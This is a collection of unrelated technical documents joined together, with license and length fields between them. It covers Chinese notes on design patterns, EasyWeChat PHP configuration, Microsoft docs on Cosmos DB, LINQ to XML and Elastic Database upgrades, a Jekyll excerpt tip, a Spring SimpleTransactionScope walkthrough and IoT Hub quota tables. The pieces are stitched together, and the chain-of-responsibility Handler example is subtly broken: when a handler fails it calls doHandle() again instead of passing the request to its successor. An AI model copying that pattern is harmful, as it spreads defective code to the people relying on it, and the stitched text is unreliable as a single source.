#### 观察者注册
这里主要针对一些事件进行观察，事件统一实现接口：`com.tryingpfq.game.common.observer.IObserver`
* 注册观察者
```java
/**
* 添加观察者
* @param o 真正的观察者接口
* @param invalidType 失效方式
* @param version 版本
* @param <O> 类型约束
* @return
*/
public <O extends L> Observer<L> attach(O o, ObserverInvalidType invalidType, int version) {
Observer<L> observer = new Observer<>(this, o, invalidType, version);
//其实我觉得这里最好对版本号进行排序
observers.add(observer);
return observer;
}
```
这里的失效方式怎么说呢，其实就是当达到失效的条件的时候后，还是需要自己主动移除的。比如：当玩家死亡后，如果存在死亡的失效观察者，那么这类观察者就需要移除。当然如果需要做永久观察者，就不需要invalidType。
#### 事件触发
所谓触发事件，就是当某个被观察者的时间需要触发的时候，那么久会去激活该事件的的所有观察者。
**注意：这里也就是和发布订阅模式不同的地方**
触发事件接口：com.tryingpfq.game.common.observer.ObserverController#fire`
#### 控制器
观察者控制器：`ObserverController`
这个管理器，用来管理所有事件(被观察者)的所有观察者，对于某一个事件，肯能存在多个观察者。给每个事件，统一由一个Support管理。
```java
private final Map<Class<? extends IObserver>, ObserverSupport<?>> observers = new ConcurrentHashMap<>();
```
#### 几点思考
1：和发布订阅有什么区别呢？
```
我觉得发布订阅是多了一个中间层吧，观察者模式中，是观察者是知道Subject的，发布订阅中，发布者和订阅者是不知道对方的存在的。
```
2：和事件总线有什么区别呢？
```
所谓事件总线，对于事件的绑定，一般是根据方法参数进行绑定的。
```
但怎么说呢，我觉得本质上是没有什么区别的。
* 模板模式
* 策略模式
* 策略模式可以用来干嘛呢，其实我个人觉得所谓策略，就是提供一个逻辑处理的方法，以前当我们写代码的时候，遇到过switch case或者if else这种用法，如果你想一下，怎么处理，可以减少这种使用呢，这个时候策略模式就可以派上用场，比如case（中的type），我们通过type获取这个策略的对应class（当然是缓存）,然后在策略工厂中去通过反射，获取对应的策略就行，那么久不需要switch case这种冗余的写法了。不过不要过度设计哦，如果switch case、if/else 不是很多的话，还是别去整什么策略模式，怎么简单怎么来
* 职责链模式
我觉得这个模式还是比较常见的，比如一些过滤器，还有通用一些处理器等
下面看两种常见的实现方式：
* 实现思路，就是抽象一个Handler,并定义抽象方法doHandle，每个handle中持有的是下一handle的引用，在Chain中，维护这个链的head和tail。
~~~java
public abstract class Handler {
protected Handler successor = null;
public void setSuccessor(Handler successor) {
this.successor = successor;
}
//这里是一个模板，这样就不需要在其他的子类中去判断，子类实现
public void handle(){
boolean handled = doHandle();
if (!handled && successor != null) {
doHandle();
}
}
public abstract boolean doHandle();
}
class HandlerA extends Handler{
@Override
public boolean doHandle() {
return false;
}
}
class HandlerB extends Handler{
@Override
public boolean doHandle() {
return false;
}
}
public class HandlerChain {
private Handler head = null;
private Handler tail = null;
public void addHandler(Handler handler) {
handler.setSuccessor(null);
if (head == null || tail == null) {
head = handler;
tail = handler;
}else{
tail.setSuccessor(handler);
tail = handler;
}
}
public void handle(){
if (head != null) {
head.handle();
}
}
public static void main(String[] args) {
HandlerChain chain = new HandlerChain();
chain.addHandler(new HandlerA());
chain.addHandler(new HandlerB());
chain.handle();
}
}
~~~
* 第二种实现 就是在chain中不是基于链表的实现，而是基于数组，这种实现会比较简单。
~~~java
public class HandlerChain2 {
private List<IHandler> handlers = new ArrayList<>();
public void addHandler(IHandler handler) {
this.handlers.add(handler);
}
public void handle() {
for (IHandler handler : handlers) {
boolean handled = handler.handle();
if (handled) { break;
}
}
}
}
~~~
有个地方不是很能理解，一般责任链是只会被一个handler处理，但我觉得其实也是可以被所有的处理的，就是看handler是否接收就行，Netty中的pipeline我觉得就是这样的。
**TODO**
Servlet Filter、Spring Interceptor、Dubbo Filter、Netty ChannelPipeline 源码分析
* 状态模式
* 迭代器模式
* 访问者模式
这个平时用的是比较少，我印象最深的一个就是ASM,访问字节码的时候，用起来比较方便。
**Q&A**
* 为什么支持双分派语言不需要访问者模式
先要了解一个概念是，什么是双分派和单分派，
所谓 Single Dispatch，指的是执行哪个对象的方法，根据对象的运行时类型来决定；执行对象的哪个方法，根据方法参数的编译时类型来决定。所谓 Double Dispatch，指的是执行哪个对象的方法，根据对象的运行时类型来决定；执行对象的哪个方法，根据方法参数的运行时类型来决定。
Single Dispatch 和 Double Dispatch 跟多态和函数重载直接相关。当前主流的面向对象编程语言（比如，Java、C++、C#）都只支持 Single Dispatch，不支持 Double Dispatch。
看一段代码吧，
```java
public class ToolApplication {
private static Extractor extractor;
public static void main(String[] args) {
List<ResourceFile> resourceFiles = resourceFiles(args[0]);
for (ResourceFile file : resourceFiles) {
//这个地方编译器是会报错的，无法编译，
extractor.extract(file);
}
}
private static List<ResourceFile> resourceFiles(String path) {
List<ResourceFile> resourceFiles = new ArrayList<>();
resourceFiles.add(new PDFfile("a.pdf"));
resourceFiles.add(new WordFfile("b.word"));
return resourceFiles;
}
}
public abstract class ResourceFile {
private String filePath;
public ResourceFile(String filePath) {
this.filePath = filePath;
}
public class Extractor {
//写几个重载方法
public void extract(PDFfile ffile) {
System.err.println("do pdf");
}
public void extract(WordFfile ffile) {
System.err.println("do word");
}
}
```
上面为什么会无法编译呢，这也就是单分派语言的原因，因为Extractor中存在两个重载方法，这两个方法的参数类型是静态绑定的，而函数重载是一种静态绑定，在编译时并不能获取对象的实际类型，而是根据声明类型执行声明类型对应的方法。
我们知道，多态是一种动态绑定，可以在运行时获取对象的实际类型，来运行实际类型对应的方法。而函数重载是一种静态绑定，在编译时并不能获取对象的实际类型，而是根据声明类型执行声明类型对应的方法。
那上面这个问题怎么解决呢，看下面的解决方法，加入一个accept()抽象方法。
```java
public abstract class ResourceFile {
private String filePath;
public ResourceFile(String filePath) {
this.filePath = filePath;
}
//增加这个方法
abstract public void accpet(Extractor extractor);
}
public class PDFfile extends ResourceFile{
public PDFfile(String filePath) {
super(filePath);
}
@Override
public void accpet(Extractor extractor) {
//传入实际的类型就OK了
extractor.extract(this);
}
}
public static void main(String[] args) {
List<ResourceFile> resourceFiles = resourceFiles(args[0]);
for (ResourceFile file : resourceFiles) {
file.accpet(extractor);
}
}
```
在上面这样修改中，你会不会想到其他问题呢，就是添加一个新的业务，还是需要修改每个资源文件类，违反了开闭原则，加入我们现在还要添加对文件压缩功能，那该如何去解决才能不会去修改原先的资源文件呢，这里想到的是Visitor接口。继续看代码
```java
public interface Visitor {
void visitor(PDFfile pdFfile);
void visitor(WordFfile wordFfile);
}
public abstract class ResourceFile {
private String filePath;
public ResourceFile(String filePath) {
this.filePath = filePath;
}
abstract public void accpet(Visitor visitor);
}
public class PDFfile extends ResourceFile{
public PDFfile(String filePath) {
super(filePath);
}
@Override
public void accpet(Visitor visitor) {
visitor.visitor(this);
}
}
public class Extractor implements Visitor {
@Override
public void visitor(PDFfile pdFfile) {
System.err.println("do extrator pdf");
}
@Override
public void visitor(WordFfile wordFfile) {
System.err.println("do extrator word");
}
}
```
这个时候，我们只需要根据实际的Visitor实例就行了。
以上就是单分派语言需要用到访问者模式来解决这种问题。
* 备忘录模式
* 命令模式
* 解释器模式
* 中介模式 | 11,546 | MIT |
# 配置
在前面我们已经讲过，初始化 SDK 的时候方法就是创建一个 `EasyWeChat\Foundation\Application` 实例：
```php
use EasyWeChat\Foundation\Application;
$options = [
// ...
];
$app = new Application($options);
/**
* 如果想要在Application实例化完成之后, 修改某一个options的值,
* 比如服务商+子商户支付回调场景, 所有子商户订单支付信息都是通过同一个服务商的$option 配置进来的,
* 当oauth在微信端验证完成之后, 可以通过动态设置merchant_id来区分具体是哪个子商户
*/
$app['config']->set('oauth.callback','wechat/oauthcallback/'. $sub_merchant_id->id);
```
那么配置的具体选项有哪些，下面是一个完整的列表：
```php
<?php
return [
/**
* Debug 模式，bool 值：true/false
*
* 当值为 false 时，所有的日志都不会记录
*/
'debug' => true,
/**
* 账号基本信息，请从微信公众平台/开放平台获取
*/
'app_id' => 'your-app-id', // AppID
'secret' => 'your-app-secret', // AppSecret
'token' => 'your-token', // Token
'aes_key' => '', // EncodingAESKey，安全模式与兼容模式下请一定要填写！！！
/**
* 日志配置
*
* level: 日志级别, 可选为：
* debug/info/notice/warning/error/critical/alert/emergency
* permission：日志文件权限(可选)，默认为null（若为null值,monolog会取0644）
* file：日志文件位置(绝对路径!!!)，要求可写权限
*/
'log' => [
'level' => 'debug',
'permission' => 0777,
'file' => '/tmp/easywechat.log',
],
/**
* OAuth 配置
*
* scopes：公众平台（snsapi_userinfo / snsapi_base），开放平台：snsapi_login
* callback：OAuth授权完成后的回调页地址
*/
'oauth' => [
'scopes' => ['snsapi_userinfo'],
'callback' => '/examples/oauth_callback.php',
],
/**
* 微信支付
*/
'payment' => [
'merchant_id' => 'your-mch-id',
'key' => 'key-for-signature',
'cert_path' => 'path/to/your/cert.pem', // XXX: 绝对路径！！！！
'key_path' => 'path/to/your/key', // XXX: 绝对路径！！！！
// 'device_info' => '013467007045764',
// 'sub_app_id' => '',
// 'sub_merchant_id' => '',
// ...
],
/**
* Guzzle 全局设置
*
* 更多请参考： http://docs.guzzlephp.org/en/latest/request-options.html
*/
'guzzle' => [
'timeout' => 3.0, // 超时时间（秒）
//'verify' => false, // 关掉 SSL 认证（强烈不建议！！！）
],
];
```
> :heart: 安全模式下请一定要填写 `aes_key`
## 日志文件
配置文件里的`/tmp/...`是绝对路径
如果在 windows 下，去把它改成`C:\foo\bar`的形式，
如果是 Linux ，你已经懂了……
如果需要按日独立存储，可以配置成`'file' => storage_path('/tmp/easywechat/easywechat_'.date('Ymd').'.log'),`
其它同理…… | 2,390 | MIT |
---
title: include 文件
description: include 文件
services: cosmos-db
documentationcenter: ''
author: rockboyfor
manager: digimobile
editor: ''
tags: ''
ms.assetid: ''
ms.service: cosmos-db
ms.devlang: dotnet
ms.topic: include
ms.tgt_pltfrm: na
ms.workload: ''
origin.date: 04/13/2018
ms.date: 12/16/2019
ms.author: v-yeche
ms.custom: include file
ms.openlocfilehash: 855a023557f963c319bfc85884d162b504b90d56
ms.sourcegitcommit: 4a09701b1cbc1d9ccee46d282e592aec26998bff
ms.translationtype: HT
ms.contentlocale: zh-CN
ms.lasthandoff: 12/25/2019
ms.locfileid: "75334552"
---
可以使用 URI 为 `https://localhost:8081` 的 [Azure Cosmos DB 模拟器](/cosmos-db/local-emulator)。 有关在模拟器中使用的密钥，请参阅[对请求进行身份验证](../articles/cosmos-db/local-emulator.md#authenticating-requests)。
<!--Not Available on [Try Azure Cosmos DB for free](https://www.azure.cn/try/cosmosdb/)-->
<!-- Update_Description: update meta properties, wording update, update link --> | 923 | CC-BY-4.0 |
---
title: "使用节点进行编程 (C#)"
ms.custom:
ms.date: 2015-07-20
ms.prod: .net
ms.reviewer:
ms.suite:
ms.technology:
- devlang-csharp
ms.topic: article
dev_langs:
- CSharp
ms.assetid: c38df0f2-c805-431a-93ff-9103a4284c2f
caps.latest.revision: 3
author: BillWagner
ms.author: wiwagn
translation.priority.mt:
- cs-cz
- pl-pl
- pt-br
- tr-tr
ms.translationtype: HT
ms.sourcegitcommit: 306c608dc7f97594ef6f72ae0f5aaba596c936e1
ms.openlocfilehash: 6afa5c9ca5fdf4a8c64be826ead86e96aa94a446
ms.contentlocale: zh-cn
ms.lasthandoff: 07/28/2017
---
# <a name="programming-with-nodes-c"></a>使用节点进行编程 (C#)
需要编写 XML 编辑器、转换系统或报告编写器这类程序的 [!INCLUDE[sqltecxlinq](~/includes/sqltecxlinq-md.md)] 开发人员通常需要编写在比元素和属性更细的粒度下运行的程序。 开发人员通常需要在节点级别上工作，操作文本节点、处理指令和添加注释。 本主题提供有关在节点级别进行编程的一些详细信息。
## <a name="node-details"></a>节点详细信息
在节点级别上工作的程序员需要了解有关编程的许多细节。
### <a name="parent-property-of-children-nodes-of-xdocument-is-set-to-null"></a>XDocument 的子节点的父属性设置为 Null
<xref:System.Xml.Linq.XObject.Parent%2A> 属性包含父 <xref:System.Xml.Linq.XElement>，而不是父节点。 <xref:System.Xml.Linq.XDocument> 的子节点没有父 <xref:System.Xml.Linq.XElement>。 它们的父级是文档，因此这些节点的 <xref:System.Xml.Linq.XObject.Parent%2A> 属性设置为 null。
下面的示例演示这一操作：
```csharp
XDocument doc = XDocument.Parse(@"<!-- a comment --><Root/>");
Console.WriteLine(doc.Nodes().OfType<XComment>().First().Parent == null);
Console.WriteLine(doc.Root.Parent == null);
```
该示例产生下面的输出：
```
True
True
```
### <a name="adjacent-text-nodes-are-possible"></a>可以存在相邻文本节点
在许多 XML 编程模型中，相邻的文本节点始终会合并到一起。 这有时也称为文本节点的规范化。 [!INCLUDE[sqltecxlinq](~/includes/sqltecxlinq-md.md)] 不规范化文本节点。 如果向同一个元素添加两个文本节点，则会产生相邻文本节点。 但如果将指定内容添加为字符串而不是 <xref:System.Xml.Linq.XText> 节点，则 [!INCLUDE[sqltecxlinq](~/includes/sqltecxlinq-md.md)] 可能会将该字符串与相邻的文本节点合并在一起。
下面的示例演示这一操作：
```csharp
XElement xmlTree = new XElement("Root", "Content");
Console.WriteLine(xmlTree.Nodes().OfType<XText>().Count());
// this does not add a new text node
xmlTree.Add("new content");
Console.WriteLine(xmlTree.Nodes().OfType<XText>().Count());
// this does add a new, adjacent text node
xmlTree.Add(new XText("more text"));
Console.WriteLine(xmlTree.Nodes().OfType<XText>().Count());
```
该示例产生下面的输出：
```
1
1
2
```
### <a name="empty-text-nodes-are-possible"></a>可以存在空文本节点
在某些 XML 编程模型中，文本节点保证不包含空字符串。 原因是这种文本节点对 XML 的序列化没有影响。 但由于可以存在相邻文本节点这一相同的原因，如果您通过将文本节点的值设置为空字符串来移除文本节点中的文本，则不会删除文本节点本身。
```csharp
XElement xmlTree = new XElement("Root", "Content");
XText textNode = xmlTree.Nodes().OfType<XText>().First();
// the following line does not cause the removal of the text node.
textNode.Value = "";
XText textNode2 = xmlTree.Nodes().OfType<XText>().First();
Console.WriteLine(">>{0}<<", textNode2);
```
该示例产生下面的输出：
```
>><<
```
### <a name="an-empty-text-node-impacts-serialization"></a>空文本节点影响序列化
如果一个元素仅包含一个空的子文本节点，则会用长标记语法序列化该元素：`<Child></Child>`。 如果一个元素不包含任何子节点，则会用短标记语法序列化该元素：`<Child />`。
```csharp
XElement child1 = new XElement("Child1",
new XText("")
);
XElement child2 = new XElement("Child2");
Console.WriteLine(child1);
Console.WriteLine(child2);
```
该示例产生下面的输出：
```xml
<Child1></Child1>
<Child2 />
```
### <a name="namespaces-are-attributes-in-the-linq-to-xml-tree"></a>命名空间是 LINQ to XML 树中的属性
即使命名空间声明与特性具有完全相同的语法，在某些编程接口（如 XSLT 和 XPath）中，也不会将命名空间声明视为属性。 但在 [!INCLUDE[sqltecxlinq](~/includes/sqltecxlinq-md.md)] 中，命名空间存储为 XML 树中的 <xref:System.Xml.Linq.XAttribute> 对象。 如果您循环访问包含命名空间声明的元素的属性，则会在返回的集合中看到作为一项列出的命名空间声明。
<xref:System.Xml.Linq.XAttribute.IsNamespaceDeclaration%2A> 属性 (property) 指示某一属性 (attribute) 是否为命名空间声明。
```csharp
XElement root = XElement.Parse(
@"<Root
xmlns='http://www.adventure-works.com'
xmlns:fc='www.fourthcoffee.com'
AnAttribute='abc'/>");
foreach (XAttribute att in root.Attributes())
Console.WriteLine("{0} IsNamespaceDeclaration:{1}", att, att.IsNamespaceDeclaration);
```
该示例产生下面的输出：
```
xmlns="http://www.adventure-works.com" IsNamespaceDeclaration:True
xmlns:fc="www.fourthcoffee.com" IsNamespaceDeclaration:True
AnAttribute="abc" IsNamespaceDeclaration:False
```
### <a name="xpath-axis-methods-do-not-return-child-white-space-of-xdocument"></a>XPath 轴方法不返回 XDocument 的子空白
[!INCLUDE[sqltecxlinq](~/includes/sqltecxlinq-md.md)] 允许 <xref:System.Xml.Linq.XDocument> 具有子文本节点，但这些文本节点只能包含空白。 但是，XPath 对象模型不包括空白作为文档的子节点，因此在使用 <xref:System.Xml.Linq.XDocument> 轴循环访问 <xref:System.Xml.Linq.XContainer.Nodes%2A> 的子级时，将返回空白文本节点。 但在使用 XPath 轴方法循环访问 <xref:System.Xml.Linq.XDocument> 的子级时，不会返回空白文本节点。
```csharp
// Create a document with some white space child nodes of the document.
XDocument root = XDocument.Parse(
@"<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<Root/>
<!--a comment-->
", LoadOptions.PreserveWhitespace);
// count the white space child nodes using LINQ to XML
Console.WriteLine(root.Nodes().OfType<XText>().Count());
// count the white space child nodes using XPathEvaluate
Console.WriteLine(((IEnumerable)root.XPathEvaluate("text()")).OfType<XText>().Count());
```
该示例产生下面的输出：
```
3
0
```
### <a name="xdeclaration-objects-are-not-nodes"></a>XDeclaration 对象不是节点
在循环访问 <xref:System.Xml.Linq.XDocument> 的子节点时，将看不到 XML 声明对象。 它是文档的属性，不是文档的子节点。
```csharp
XDocument doc = new XDocument(
new XDeclaration("1.0", "utf-8", "yes"),
new XElement("Root")
);
doc.Save("Temp.xml");
Console.WriteLine(File.ReadAllText("Temp.xml"));
// this shows that there is only one child node of the document
Console.WriteLine(doc.Nodes().Count());
```
该示例产生下面的输出：
```
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<Root />
1
```
## <a name="see-also"></a>请参阅
[高级 LINQ to XML 编程 (C#)](../../../../csharp/programming-guide/concepts/linq/advanced-linq-to-xml-programming.md) | 5,991 | CC-BY-4.0 |
---
layout: post
title: 使用Jekyll官方的ReadMore摘要功能
category: 技术文章
---
今天才发现，Jekyll官方就支持ReadMore摘要功能，记录一下。
<!-- more -->
我之前的方法，在index.html中
```html
{% raw %} {{ post.content ||split:'<!-- more -->' | first }} {% endraw %}
```
然后在Post里，需要分隔的摘要后面加`<!-- more -->。`
```html
摘要内容...
<!-- more -->
正文内容...
```
### 官方做法: excerpt
官方的方法是，在_config.yml里，指定摘要的分隔符：
```html
excerpt_separator: '<!-- more -->'
```
然后，在index.html中：
```html
{% raw %} {{ post.excerpt }} {% endraw %}
```
一般情况下，摘要需要去掉html标签，所以一般这样用：
```html
{% raw %} {{ post.excerpt | strip_html }} {% endraw %}
```
然后，和前一种方法一样，在摘要后面加`<!-- more -->` 即可。 | 667 | MIT |
---
title: "最新の Elastic Database クライアント ライブラリへのアップグレード | Microsoft Docs"
description: "Nuget を使用してアプリとライブラリをアップグレードする"
services: sql-database
documentationcenter:
manager: jhubbard
author: ddove
ms.assetid: 0a546510-76e7-465e-9271-f15ff0cfa959
ms.service: sql-database
ms.custom: multiple databases
ms.workload: sql-database
ms.tgt_pltfrm: na
ms.devlang: na
ms.topic: article
ms.date: 03/06/2017
ms.author: ddove
translationtype: Human Translation
ms.sourcegitcommit: 094729399070a64abc1aa05a9f585a0782142cbf
ms.openlocfilehash: 0bbbc4f61c37fe4d296221c372bfdf6dd429a32b
ms.lasthandoff: 03/07/2017
---
# <a name="upgrade-an-app-to-use-the-latest-elastic-database-client-library"></a>最新のエラスティック データベース クライアント ライブラリを使用するためのアプリのアップグレード
[Elastic Database クライアント ライブラリ](sql-database-elastic-database-client-library.md)の新しいバージョンが NuGet と Visual Studio の NuGetPackage マネージャーのインターフェイスから利用できるようになりました。 アップグレードにはバグ修正が含まれており、クライアント ライブラリの新機能をサポートします。
**最新バージョン:**[Microsoft.Azure.SqlDatabase.ElasticScale.Client](https://www.nuget.org/packages/Microsoft.Azure.SqlDatabase.ElasticScale.Client/)に移動します。
新しいライブラリを使用してアプリケーションを再構築し、新しい機能をサポートするために、Azure SQL Database に格納されている既存のシャード マップ マネージャーのメタデータを変更します。
これらの手順を実行することで、メタデータ オブジェクトの更新時に古いバージョンのクライアント ライブラリが環境内に存在しないようにします。つまり、古いバージョンのメタデータ オブジェクトはアップグレード後は作成されなくなります。
## <a name="upgrade-steps"></a>アップグレードの手順
**1.アプリケーションをアップグレードします。** Visual Studio で、最新のクライアント ライブラリのバージョンをダウンロードして、ライブラリを使用する開発プロジェクトのすべてに参照させます。その後、再構築してデプロイします。
* Visual Studio ソリューションで **[ツール]** --> **[NuGet Package Manager]** --> **[Manage NuGet Packages for Solution (ソリューションの NuGet パッケージを管理)]** と選択します。
* (Visual Studio 2013) 左側のパネルで **[更新]** を選択し、ウィンドウに表示される **Azure SQL Database Elastic Scale Client Library** パッケージの **[更新]** ボタンを選択します。
* (Visual Studio 2015) [フィルター] ボックスで **[アップグレード可能]**を選択します。 アップグレードするパッケージを選択し、 **[アップグレード]** ボタンをクリックします。
* (Visual Studio 2017) ダイアログの上部にある **[更新プログラム]** を選択します。 アップグレードするパッケージを選択し、 **[アップグレード]** ボタンをクリックします。
* 構築してデプロイします。
**2.スクリプトをアップグレードします。** シャードの管理に **PowerShell** スクリプトを使用している場合は、[新しいライブラリ バージョンをダウンロード](https://www.nuget.org/packages/Microsoft.Azure.SqlDatabase.ElasticScale.Client/)して、スクリプトを実行するディレクトリにコピーします。
**3.Split-Merge サービスをアップグレードします。** Elastic Database 分割/マージ ツールを使用してシャード化されたデータを再編成する場合は、[最新バージョンのツールをダウンロードしてデプロイ](https://www.nuget.org/packages/Microsoft.Azure.SqlDatabase.ElasticScale.Service.SplitMerge/)します。 サービスの詳しいアップグレード手順については、[こちら](sql-database-elastic-scale-overview-split-and-merge.md)をご覧ください。
**4.シャード マップ マネージャーのデータベースをアップグレードします**。 Azure SQL Database でシャード マップをサポートするメタデータをアップグレードします。 これは、PowerShell か C# を使用して実行できます。 次に両方の方法について説明します。
***オプション 1: PowerShell を使用してメタデータをアップグレードする***
1. [こちら](http://nuget.org/nuget.exe) から NuGet の最新のコマンド ライン ユーティリティをダウンロードして、フォルダーに保存します。
2. コマンド プロンプトを開き、同じフォルダーに移動して、次のコマンドを発行します。`nuget install Microsoft.Azure.SqlDatabase.ElasticScale.Client`
3. ダウンロードした新しいクライアントの DLL バージョンを含むサブフォルダーに移動します。例:`cd .\Microsoft.Azure.SqlDatabase.ElasticScale.Client.1.0.0\lib\net45`
4. [スクリプト センター](https://gallery.technet.microsoft.com/scriptcenter/Azure-SQL-Database-Elastic-6442e6a9)から エラスティック データベース クライアントのアップグレード スクリプトレットをダウンロードして、DLL が含まれる同じフォルダーに保存します。
5. そのフォルダーのコマンド プロンプトから"PowerShell.\upgrade.ps1"を実行し、画面の指示に従います。
***オプション 2: C# を使用してメタデータをアップグレードする***
または、次の例のように、メソッド [UpgradeLocalStore](https://msdn.microsoft.com/library/azure/microsoft.azure.sqldatabase.elasticscale.shardmanagement.shardmapmanager.upgradelocalstore.aspx) と [UpgradeGlobalStore](https://msdn.microsoft.com/library/azure/microsoft.azure.sqldatabase.elasticscale.shardmanagement.shardmapmanager.upgradeglobalstore.aspx) を呼び出して、ShardMapManager を開き、すべてのシャードを反復し、メタデータのアップグレードを実行する Visual Studio アプリケーションを作成します。
ShardMapManager smm =
ShardMapManagerFactory.GetSqlShardMapManager
(connStr, ShardMapManagerLoadPolicy.Lazy);
smm.UpgradeGlobalStore();
foreach (ShardLocation loc in
smm.GetDistinctShardLocations())
{
smm.UpgradeLocalStore(loc);
}
このメタデータのアップグレードの手法は問題なく何度も適用できます。 たとえば古いクライアント バージョンで、シャードをすでに更新した後に不注意にシャードを作成してしまった場合、すべてのシャードで再びアップグレードを実行し、最新のメタデータ バージョンがインフラストラクチャ全体に存在するようにできます。
**注:** 今まで公開されたクライアント ライブラリの新しいバージョンは、Azure SQL DB の古いバージョンのシャード マップ マネージャー メタデータで引き続き操作できます (逆の場合も同様)。 ただし、最新のクライアントで一部の新機能を活用するには、メタデータをアップグレードする必要があります。 メタデータのアップグレードはユーザー データやアプリケーション専用データに影響することはありません。シャード マップ マネージャーで作成し、使用したオブジェクトのみに影響します。 アプリケーションは以下に説明するアップグレード シーケンスを通じて引き続き操作できます。
## <a name="elastic-database-client-version-history"></a>エラスティック データベース クライアントのバージョン履歴
バージョン履歴については、 [Microsoft.Azure.SqlDatabase.ElasticScale.Client](https://www.nuget.org/packages/Microsoft.Azure.SqlDatabase.ElasticScale.Client/)
[!INCLUDE [elastic-scale-include](../../includes/elastic-scale-include.md)]
<!--Image references-->
[1]:./media/sql-database-elastic-scale-upgrade-client-library/nuget-upgrade.png | 4,902 | CC-BY-3.0 |
# Spring SimpleTransactionScope
- 类全路径: `org.springframework.transaction.support.SimpleTransactionScope`
在介绍方法之前先了解一些相关类
## ScopedObjectsHolder
- 用于帮助的一个类.
- 存储
- name -> obejct instance
- name -> 回调方法
```java
/**
* Holder for scoped objects.
*
* 作用域对象持有
*/
static class ScopedObjectsHolder {
/**
* 作用域实例
*/
final Map<String, Object> scopedInstances = new HashMap<>();
/**
* 摧毁回调map
*/
final Map<String, Runnable> destructionCallbacks = new LinkedHashMap<>();
}
```
## CleanupSynchronization
- 这里需要了解对象 ： `TransactionSynchronizationManager` 暂时不做了解
这里暂时了解到
内部还是一个map
其中解绑`unbindResource`和绑定`bindResource` 都是对上述内部变量做操作.
了解上述方法后来看看整个类做了什么
```java
/**
* 事务相关方法
*/
private class CleanupSynchronization extends TransactionSynchronizationAdapter {
/**
* 作用域对象持有
*/
private final ScopedObjectsHolder scopedObjects;
public CleanupSynchronization(ScopedObjectsHolder scopedObjects) {
this.scopedObjects = scopedObjects;
}
@Override
public void suspend() {
// 解绑
TransactionSynchronizationManager.unbindResource(SimpleTransactionScope.this);
}
@Override
public void resume() {
// 绑定
TransactionSynchronizationManager.bindResource(SimpleTransactionScope.this, this.scopedObjects);
}
/**
* 事务完成后需要执行的内容
* @param status
*/
@Override
public void afterCompletion(int status) {
// 解绑
TransactionSynchronizationManager.unbindResourceIfPossible(SimpleTransactionScope.this);
// 执行素有的回调方法
for (Runnable callback : this.scopedObjects.destructionCallbacks.values()) {
callback.run();
}
// 数据容器清除
this.scopedObjects.destructionCallbacks.clear();
this.scopedObjects.scopedInstances.clear();
}
}
```
## 方法分析
### get
```java
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
// 事务管理器中获取 作用域对象容器
ScopedObjectsHolder scopedObjects = (ScopedObjectsHolder) TransactionSynchronizationManager.getResource(this);
if (scopedObjects == null) {
scopedObjects = new ScopedObjectsHolder();
// 设置空的作用域对象
TransactionSynchronizationManager.registerSynchronization(new CleanupSynchronization(scopedObjects));
// 绑定当前对象和 作用域对象容器
TransactionSynchronizationManager.bindResource(this, scopedObjects);
}
// 获取作用域对象的map容器
Object scopedObject = scopedObjects.scopedInstances.get(name);
if (scopedObject == null) {
// 从 object factory 创建
scopedObject = objectFactory.getObject();
// 获取作用域对象的map容器, 向里面插入数据
scopedObjects.scopedInstances.put(name, scopedObject);
}
return scopedObject;
}
```
- 在前文我们已经了解到 `TransactionSynchronizationManager`存储的是一个MAP .
在这段代码中我们可以具象化存储内容
key: SimpleTransactionScope
value: ScopedObjectsHolder
get 方法本质上是两个map的嵌套
第一层是 `TransactionSynchronizationManager` 的 `resource` map
第二层是 `ScopedObjectsHolder` 的 `scopedInstances` map
### remove
- 删除实例和回调方法
```java
@Override
@Nullable
public Object remove(String name) {
// 事务管理器中获取 作用域对象容器
ScopedObjectsHolder scopedObjects = (ScopedObjectsHolder) TransactionSynchronizationManager.getResource(this);
if (scopedObjects != null) {
// 摧毁回调容器删除 name
scopedObjects.destructionCallbacks.remove(name);
// 实例容器删除 name
return scopedObjects.scopedInstances.remove(name);
}
else {
return null;
}
}
```
第一步和 `get` 方法相同获取`ScopedObjectsHolder`
第二步删除 `ScopedObjectsHolder` 中摧毁时的回调容器中 name 对应的回调方法
删除实例容器中 name 对应的实例
### registerDestructionCallback
- 注册 摧毁回调方法
```java
@Override
public void registerDestructionCallback(String name, Runnable callback) {
ScopedObjectsHolder scopedObjects = (ScopedObjectsHolder) TransactionSynchronizationManager.getResource(this);
if (scopedObjects != null) {
scopedObjects.destructionCallbacks.put(name, callback);
}
}
```
### getConversationId
- 获取当前事务名称
```
@Override
@Nullable
public String getConversationId() {
return TransactionSynchronizationManager.getCurrentTransactionName();
}
``` | 4,155 | Apache-2.0 |
次の表には、各サービス レベル (S1、S2、F1) に関連付けられている制限がリストされています。各レベルのそれぞれの*ユニット*のコストについては、「[IoT Hub の価格](https://azure.microsoft.com/pricing/details/iot-hub/)」を参照してください。
| リソース | S1 Standard | S2 Standard | F1 Free |
| -------- | ----------- | ----------- | ------- |
| メッセージ/日 | 400,000 | 6,000,000 | 8,000 |
| 最大ユニット数 | 200 | 200 | 1 |
> [AZURE.NOTE] S1 または S2 レベルのハブで 200 を超えるユニットの使用が予想される場合は、Microsoft サポートにお問い合わせください。
次の表には、IoT Hub のリソースに適用される制限がリストされています。
| リソース | 制限 |
| -------- | ----- |
| Azure サブスクリプションごとの最大 IoT Hub | 10 |
| 1 回の呼び出しで返される<br/>デバイス ID の最大数 | 1,000 |
| IoT Hub メッセージの最大リテンション期間 | 7 日 |
| デバイスからクラウドへのメッセージの最大サイズ | 256 KB |
| デバイスからクラウドへのバッチの最大サイズ | 256 KB |
| デバイスからクラウドへのバッチの最大メッセージ数 | 500 |
| クラウドからデバイスへのメッセージの最大サイズ | 64 KB |
| クラウドからデバイスへのメッセージの最大 TTL | 2 日 |
| クラウドからデバイスへのメッセージの<br/>最大配信数 | 100 |
| クラウドからデバイスへのメッセージに対する<br/>フィードバック メッセージの最大配信数 | 100 |
| クラウドからデバイスへのメッセージに対する<br/>フィードバック メッセージの最大 TTL | 2 日 |
IoT Hub サービスは、次のクォータを超えた場合に、要求を調整します。
| スロットル | ハブごとの値 |
| -------- | ------------- |
| ID レジストリの操作 <br/>(作成、取得、一覧表示、更新、削除)、<br/>個別または一括のインポートとエクスポート | 100/分/ユニット、最大 5000/分 |
| デバイスの接続 | 120/秒/ユニット (S2 の場合)、12/秒/ユニット (S1 の場合)。最小 100/秒。 |
| デバイスからクラウドへの送信 | 120/秒/ユニット (S2 の場合)、12/秒/ユニット (S1 の場合)<br/>最小 100/秒 |
